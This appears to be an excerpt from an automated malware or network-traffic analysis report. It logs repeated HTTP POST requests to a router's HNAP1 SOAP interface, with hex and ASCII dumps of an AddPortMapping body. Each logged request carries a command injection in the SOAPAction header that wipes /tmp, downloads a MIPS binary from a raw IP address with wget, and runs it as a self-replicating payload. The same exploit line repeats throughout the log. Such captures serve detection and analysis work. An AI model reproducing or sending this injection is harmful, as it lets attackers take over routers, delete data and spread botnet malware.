70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
